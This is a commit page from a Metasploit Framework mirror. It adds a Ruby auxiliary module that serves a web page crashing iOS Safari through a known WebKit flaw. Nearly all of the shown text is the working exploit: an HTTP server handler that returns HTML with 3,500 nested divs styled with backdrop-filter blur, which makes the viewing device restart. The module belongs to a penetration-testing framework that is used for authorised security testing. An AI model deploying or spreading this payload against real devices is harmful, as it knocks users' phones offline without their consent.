infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #10652, iOS Safari blur denial of service

4.x
Adam Cammack 2018-09-19 15:12:22 -05:00 committed by Metasploit
parent 228c08bb4d
commit 65a19a92eb
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
1 changed files with 60 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

60
modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb Normal file
View File

@ -0,0 +1,60 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => "iOS Safari Denial of Service with CSS",
'Description' => %q(
This module exploits a vulnerability in WebKit on Apple iOS.
If successful, the device will restart after viewing the webpage.
),
'License' => MSF_LICENSE,
'Author' => [
'Sabri Haddouche', # twitter.com/pwnsdx
],
'References' => [
['URL', 'https://twitter.com/pwnsdx/status/1040944750973595649'],
['URL', 'https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'],
['URL', 'https://nbulischeck.github.io/apple-safari-crash'],
],
'DisclosureDate' => "Sep 15 2018",
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
end
def run
exploit
end
def on_request_uri(cli, _request)
print_status('Sending response')
html = %|
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<style>
div {
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
width:10000px; height:10000px;
}
</style>
</head>
<body>
#{'<div>' * 3500 + '</div>' * 3500}
</body>
</html>
|
send_response(cli, html)
end
end